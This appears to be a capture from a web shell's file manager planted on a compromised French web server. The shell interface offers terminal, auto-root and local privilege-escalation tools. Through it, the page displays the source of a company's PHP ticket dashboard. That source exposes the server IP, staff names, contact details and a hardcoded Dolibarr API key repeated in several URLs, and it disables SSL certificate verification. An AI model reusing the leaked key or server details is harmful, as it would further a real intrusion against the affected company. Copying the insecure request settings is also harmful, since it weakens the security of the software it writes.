Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.35
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html /
bdc.bdcloud.fr /
bdc-tickets /
Delete
Unzip
Name
Size
Permission
Date
Action
bootstrap
[ DIR ]
drwxr-x---
2025-11-08 11:17
index.php
17.65
KB
-rwxr-x---
2020-10-20 11:13
index.php.old
16.03
KB
-rwxr-x---
2020-09-01 16:50
Save
Rename
<!-- Anexys - Big Data Consulting Une entreprise spécialisée dans l’EDI (échange de données informatisées) et dans la maintenance informatique. Adresse: 17/19 Bd de la Muette 95140 Garges les Gonesse Email: commercial@anexys.fr Portable: +33 689 515 928 Fixe: +33 953 324 863 Tout droit Réservé. Developped by Amine_Lbg --> <script src="https://code.jquery.com/jquery-3.5.1.js" integrity="sha256-QWo7LDvxbWT2tbbQ97B53yJnYU3WhH/C8ycbRAkjPDc=" crossorigin="anonymous"></script> <link rel="stylesheet" href="bootstrap/css/bootstrap.min.css" integrity="sha384-9aIt2nRpC12Uk9gS9baDl411NQApFmC26EwAOH8WgZl5MYYxFfc+NcPb1dKGj7Sk" crossorigin="anonymous"> <script type="text/javascript" src="bootstrap/js/bootstrap.min.js" integrity="sha384-OgVRvuATP1z7JjHLkuOU7Xw704+h835Lr+6QL9UvYjZE3Ipu6Tp75j7Bh/kR0JKI" crossorigin="anonymous"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/Chart.js/2.1.4/Chart.min.js"></script> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>BDCTickets</title> <meta http-equiv="refresh" content="100"> </head> <body onload="startTime()" style="background: linear-gradient(rgba(255,236,231,1) 0%,rgba(255,143,108,1) 90.1%);"> <div class="container" style="margin-top:20"> <div class="row row-cols-12"> <div class="col-8"> <div class="card" style="border-radius:25px;"> <div class="card-body"> <div class="container"> <div class="row row-cols-12"> <div class="col-5"> <hr> <b>Nombre de tickets :</b><span id="nbr_tickets"></span><br> <b>Tickets en cours:</b><span id="tikets_encoure"></span><br> <b>Tickets terminées :</b><span id="tikets_termine"></span><br> <hr> <b>Nombre de projets :</b><span id="nbr_projet"></span><br> <hr> </div> <div class="col-7"> <canvas id="myChart" width="100" height="100"></canvas> </div> </div> </div> </div> </div> </div> <div class="col-4"> <div class="card" style="border-radius:25px;height:250px;"> <div class="card-body"> <center><h3><?php setlocale(LC_TIME, "fr_FR"); echo strftime('%A %d %B %Y'); ?></h3></center> <div id="clock" style="text-align:center;font-size:50;font-weight: bold;font-family:LCDFONT"></div> <br> <center><h3>Asnières-sur-Seine</h3></center> </div> </div> </div> </div> </div> <br><br> <!-- ############################################ Tickets #################################################--> <div class="container"> <div class="row row-cols-12"> <div class="col"> <div class="card" style="border-radius:25px;"> <div class="card-body"> <?php error_reporting(0); ini_set('display_errors', 0); /*$url = file_get_contents("https://bdc.bdcloud.fr/api/index.php/tickets?sortorder=DESC&limit=7&sqlfilters=fk_statut!%3D8&DOLAPIKEY=18ce2726a0357ea8da146e1024b194993bfe70ed"); $data = json_decode($url,true);*/ $url="https://bdc.bdcloud.fr/api/index.php/tickets?sortorder=DESC&limit=7&sqlfilters=fk_statut!%3D8&DOLAPIKEY=18ce2726a0357ea8da146e1024b194993bfe70ed"; $ch = curl_init(); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_URL, $url); $result = curl_exec($ch); curl_close($ch); $data = json_decode(utf8_encode($result),true); foreach ($data as $item){ ?> <div class="col"> <div class="card" style="border-radius:25px;margin-bottom:10px"> <div class="card-body"> <label style='background-color:#e9e9e9;border-radius:50px;width:70px;height:70px;position:absolute;left:-20;top:10px;text-align:center;padding-top:25px'><b> <?php if($item['fk_user_assign_string']){ if($item['fk_user_assign_string'] == 'Jean-Laurent JL'){ echo '<b>JL</b>';} else if($item['fk_user_assign_string'] == 'AFRASIAB ALI'){ echo '<b>Afra</b>';} else if($item['fk_user_assign_string'] == ' SuperAdmin'){ echo '<b>Fahd</b>';} else if($item['fk_user_assign_string'] == 'ilias GHERMAOUI'){ echo '<b>Ilias</b>';} else if($item['fk_user_assign_string'] == 'SABAH MELLAS'){ echo '<b>Sabah</b>';} else if($item['fk_user_assign_string'] == 'amine labghali'){ echo '<b>Amine</b>';} else if($item['fk_user_assign_string'] == 'Adel Chemache'){ echo '<b>Adel</b>';} else if($item['fk_user_assign_string'] == 'Hakim RAINI'){ echo '<b>Hakim</b>';} else if($item['fk_user_assign_string'] == 'Kevin GESTE'){ echo '<b>Kevin</b>';} else {echo '<b>'.$item['fk_user_assign_string'][0].$item['fk_user_assign_string'][1].'</b>';} }else{echo '<b>---</b>';} ?> </b></label> <div> <div class="container"> <div class="row row-cols-12"> <div class="col-1"></div> <?php if($item['fk_statut']==1){ $statut= '<b style="color:blue">Lu</b>';} else if($item['fk_statut']==2){ $statut= '<b style="color:orange">Assigné</b>';} else if($item['fk_statut']==3){ $statut= '<b style="color:green">En cours</b>';} else if($item['fk_statut']==5){ $statut= '<b style="color:orange">Attente d information</b>';} else if($item['fk_statut']==7){ $statut= '<b style="red">Suspended</b>';} else if($item['fk_statut']==8){ $statut= '<b style="red">Clôturé</b>';} else if($item['fk_statut']==9){ $statut= '<b style="red">Annulé</b>';} $date = date_create(); if($item['ref']){echo '<div class="col-2"><div style="background-color:#e9e9e9;height:25px;border-radius:10px;padding-left:2px"><b> '.$item['ref'].' </b><br></div>'.$statut.'</div>';}else{echo '<b>---</b>';} if($item['subject']){echo '<div class="col-3"><b>Sujet : </b>'.$item['subject'].'<br></div>';}else{echo '<b>Sujet : </b>---'.'<br>';} if($item['datec']){date_timestamp_set($date, $item['datec']);echo '<div class="col-2"><b>'.date_format($date, 'Y-m-d h:m a').'</b></div>';}else{echo '---';} if($item['severity_label']){echo '<div class="col-2"><b>Sévérité : </b>'.$item['severity_label'].'</div>';}else{echo '<b>Sévérité : </b>---';} if($item['progress']){ if(($item['progress'] >0) && ($item['progress'] <50)){ ?> <div class="col-2"> <div class="progress"> <div class="progress-bar progress-bar-striped progress-bar-animated bg-warning" role="progressbar" aria-valuenow="<?php echo $item['progress']; ?>" aria-valuemin="0" aria-valuemax="100" style="width: <?php echo $item['progress']; ?>%"><?php echo $item['progress'].'%'; ?></div> </div> </div> <?php }else if(($item['progress'] >=50) && ($item['progress'] <100)){ ?> <div class="col-2"> <div class="progress"> <div class="progress-bar progress-bar-striped progress-bar-animated" role="progressbar" aria-valuenow="<?php echo $item['progress']; ?>" aria-valuemin="0" aria-valuemax="100" style="width: <?php echo $item['progress']; ?>%"><?php echo $item['progress'].'%'; ?></div> </div> </div> <?php }else if($item['progress'] == 100){ ?> <div class="col-2"> <div class="progress"> <div class="progress-bar progress-bar-striped bg-success" role="progressbar" aria-valuenow="<?php echo $item['progress']; ?>" aria-valuemin="0" aria-valuemax="100" style="width: <?php echo $item['progress']; ?>%"><?php echo $item['progress'].'%'; ?></div> </div> </div> <?php }} else if($item['progress'] ==0 ){ ?> <div class="col-2"> <div class="progress"> <div class="progress-bar progress-bar-striped progress-bar-animated bg-danger" role="progressbar" aria-valuenow="<?php echo $item['progress']; ?>" aria-valuemin="0" aria-valuemax="100" style="width: 5%"><?php echo $item['progress'].'%'; ?></div> </div> </div> <?php }else{echo '---';} ?> </div> </div> </div> </div> </div> </div> <?php } ?> </div> </div> </div> </div> </div><br><br> <!-- ############################################ Projets #################################################--> <div class="container"> <div class="row row-cols-12"> <?php /*error_reporting(0); ini_set('display_errors', 0); */ /*$url2 = file_get_contents("https://bdc.bdcloud.fr/api/index.php/projects?sortorder=DESC&limit=6&DOLAPIKEY=18ce2726a0357ea8da146e1024b194993bfe70ed"); $data2 = json_decode($url2,true);*/ $url2="https://bdc.bdcloud.fr/api/index.php/projects?sortorder=DESC&limit=6&DOLAPIKEY=18ce2726a0357ea8da146e1024b194993bfe70ed"; $ch2 = curl_init(); curl_setopt($ch2, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch2, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch2, CURLOPT_URL, $url2); $result2 = curl_exec($ch2); curl_close($ch2); $data2 = json_decode(utf8_encode($result2),true); foreach ($data2 as $item){ ?> <div class="col-4"> <div class="card" style="border-radius:25px;margin-bottom:20px"> <div class="card-body"> <label style='color:#ffffff;background-color:rgba(254,132,150,1);border-radius:15px;width:120px;height:50px;position:absolute;right:-10;top:-10px;text-align:center;padding-top:12px'><b> <?php if($item['ref']){echo '<b>'.$item['ref'].'</b>';}else{echo '<b>---</b>';} ?> </b></label> <div style='margin-top:20px'> <?php if($item['statut']){ if($item['statut']==1){ $statut2= '<b style="color:green">Ouvert</b>';} else if($item['statut']==0){ $statut2= '<b style="color:red">Brouillon</b>';} else if($item['statut']==2){ $statut2= '<b style="color:blue">Clôturé</b>';} } $date = date_create(); if($item['title']){echo '<b>Libellé : </b>'.$item['title'].'<br>';}else{echo '<b>Libellé : </b>---'.'<br>';} if($item['date_start']){date_timestamp_set($date, $item['date_start']);echo '<b>Date début : </b>'.date_format($date, 'Y-m-d').'<br>';}else{echo '<b>Date début : </b>---'.'<br>';} if($item['date_end']){date_timestamp_set($date, $item['date_end']);echo '<b>Date fin : </b>'.date_format($date, 'Y-m-d').'<br>';}else{echo '<b>Date fin : </b>---'.'<br>';} if($item['ref']){echo '<b>Réference : </b>'.$item['ref'].'<br>';}else{echo '<b>Réference : </b>---'.'<br>';} if($statut2){echo $statut2.'<br>';}else{echo '<b>statut : </b>---'.'<br>';} ?> </div> </div> </div> </div> <?php } ?> </div> </div> </body> </html> <?php /*$url0 = file_get_contents("https://bdc.bdcloud.fr/api/index.php/tickets?sortfield=t.rowid&sortorder=DESC&DOLAPIKEY=18ce2726a0357ea8da146e1024b194993bfe70ed"); $data0 = json_decode($url0,true);*/ $url3="https://bdc.bdcloud.fr/api/index.php/tickets?sortfield=t.rowid&sortorder=DESC&DOLAPIKEY=18ce2726a0357ea8da146e1024b194993bfe70ed"; $ch3 = curl_init(); curl_setopt($ch3, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch3, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch3, CURLOPT_URL, $url3); $result3 = curl_exec($ch3); curl_close($ch3); $data0 = json_decode(utf8_encode($result3),true); foreach ($data0 as $item){ if($item['progress'] == 100){ $count_ended_tasks+=1; } } //########################################## /*$url3 = file_get_contents("https://bdc.bdcloud.fr/api/index.php/projects?sortorder=DESC&DOLAPIKEY=18ce2726a0357ea8da146e1024b194993bfe70ed"); $data3 = json_decode($url3,true);*/ $url4="https://bdc.bdcloud.fr/api/index.php/projects?sortorder=DESC&DOLAPIKEY=18ce2726a0357ea8da146e1024b194993bfe70ed4"; $ch4 = curl_init(); curl_setopt($ch4, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch4, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch4, CURLOPT_URL, $url4); $result4 = curl_exec($ch4); curl_close($ch4); $data3 = json_decode(utf8_encode($result4),true); ?> <script> // ####################################################### //Chart var ctx = document.getElementById("myChart"); var myChart = new Chart(ctx, { type: 'doughnut', data: { labels: ["Tickets en coure","Tickets terminé"], datasets: [{ label: '# of Votes', data: [<?php echo count($data0)-$count_ended_tasks;?>,<?php echo $count_ended_tasks; ?>], backgroundColor: [ 'rgba(253, 203, 110,0.8)', 'rgba(85, 239, 196,0.8)' ], borderColor: [ 'rgba(253, 203, 110,1.0)', 'rgba(85, 239, 196,1)' ], borderWidth: 2 }] }, options: { rotation: 1 * Math.PI, circumference: 1 * Math.PI } }); // ####################################################### //Clock function startTime() { var today = new Date(); var h = today.getHours(); var m = today.getMinutes(); var s = today.getSeconds(); m = checkTime(m); s = checkTime(s); document.getElementById('clock').innerHTML = h + ":" + m + ":" + s; var t = setTimeout(startTime, 500); } function checkTime(i) { if (i < 10) {i = "0" + i}; return i; } // ####################################################### //State header $("#nbr_tickets").text(<?php echo count($data0); ?>); $("#tikets_encoure").text(<?php echo count($data0)-$count_ended_tasks; ?>); $("#tikets_termine").text(<?php echo $count_ended_tasks; ?>); $("#nbr_projet").text(<?php echo count($data3); ?>); // ####################################################### </script>